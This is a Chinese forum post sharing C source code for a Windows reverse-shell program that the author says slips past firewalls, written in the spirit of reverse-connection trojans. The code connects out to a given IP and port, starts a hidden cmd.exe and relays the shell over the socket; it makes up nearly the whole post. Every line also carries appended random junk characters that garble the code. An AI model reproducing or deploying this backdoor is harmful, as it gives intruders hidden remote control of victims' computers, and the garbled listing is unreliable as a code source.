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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $,O8SW.O$  
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/* ============================== a e-tAA[1Y  
Rebound port in Windows NT 5nBJj  
By wind,2006/7 )2wf D  
===============================*/ %CYo, e  
#include &ZMQ]'&  
#include MCTJ^g"D  
i._RMl5zg  
#pragma comment(lib,"wsock32.lib") Fs~*-R$  
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void OutputShell(); HCrQ+r{g  
SOCKET sClient; h}'Hst  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q=%W-  
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void main(int argc,char **argv) d 4tL  
{ !0? B=yA  
WSADATA stWsaData; byE0Z vDM  
int nRet; LH}9&FfjU  
SOCKADDR_IN stSaiClient,stSaiServer; VJw7defc  
&n8Ja@Y]  
if(argc != 3) I)#8}[vK  
{ rSt5 @f?  
printf("Useage:\n\rRebound DestIP DestPort\n"); 'hWA&Xx +  
return; ` ;mQ"lO  
} # hn  
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WSAStartup(MAKEWORD(2,2),&stWsaData); \tvL<U"'  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NAtDt=  
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stSaiClient.sin_family = AF_INET; >`&2]Wc)  
stSaiClient.sin_port = htons(0); )N~ p4kp  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j 7:r8? G  
\z2y?"\?  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I+twI&GS  
{ LHx ")H?,  
printf("Bind Socket Failed!\n"); 6q'Q ?Uw^  
return; ,6MJW#~]  
} Hmm0H6&u  
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stSaiServer.sin_family = AF_INET; !%}n9vr!}\  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )M"NMUuU"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @,= pG  
,J+L_S+B~  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9XQE5^  
{ W+u,[_  
printf("Connect Error!"); -0q|AB<  
return; {R63n  
} Kv!:2br  
OutputShell(); mzM95yQ^Z  
} ZZ{c  
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void OutputShell() U5-8It2OR  
{ .]KC*2  
char szBuff[1024]; f^hJAZ  
SECURITY_ATTRIBUTES stSecurityAttributes; XP!m]\E&I  
OSVERSIONINFO stOsversionInfo; {E(2.'d  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #r"|%nOfY  
STARTUPINFO stStartupInfo; h4K Mhr  
char *szShell; 2DsP "q79k  
PROCESS_INFORMATION stProcessInformation; ?5ZvvAi  
unsigned long lBytesRead; gQSVPbzK  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f4AN"rW  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); IQC[ewk  
stSecurityAttributes.lpSecurityDescriptor = 0; S-\wX.`R1  
stSecurityAttributes.bInheritHandle = TRUE; FsO-xG"@"  
KI#v<4C$P  
>Q(\vl@N=  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5Hj/7~ =  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @+zWLq!1pB  
W //+[  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hTO 2+F*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Va.TUz4  
stStartupInfo.wShowWindow = SW_HIDE; Md>C!c  
stStartupInfo.hStdInput = hReadPipe; yc9!JJMkH  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nG5\vj,zB  
RuVk>(?WK%  
GetVersionEx(&stOsversionInfo); v4E=)?  
'l\PL1  
switch(stOsversionInfo.dwPlatformId) Hci>q`p#  
{ iNl<<0a  
case 1: %=2sz>M+  
szShell = "command.com"; 4<}@hk Y  
break; ]smu~t0\  
default: ; xw9#.d#D  
szShell = "cmd.exe"; _hl| 3 eW5  
break; OMmfTlM%  
} ; \co{_&D  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8Vn   
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send(sClient,szMsg,77,0); q[P>s{"  
while(1) JBw2#ry  
{ aw lq/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [];wP '*  
if(lBytesRead) L3Y2HZ  
{ # SCLU9-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :+QNN<  
send(sClient,szBuff,lBytesRead,0); bxxLAWQ(  
} mMZrBz7r  
else X#0yOSR  
{ FdnLxw  
lBytesRead=recv(sClient,szBuff,1024,0); [bo"!Qk%  
if(lBytesRead<=0) break; iKu3'jZ/O  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); tFn[U#'  
} =Oh$pZRymu  
} nXfz@q  
Si~wig2  
return; ljrJC  
}
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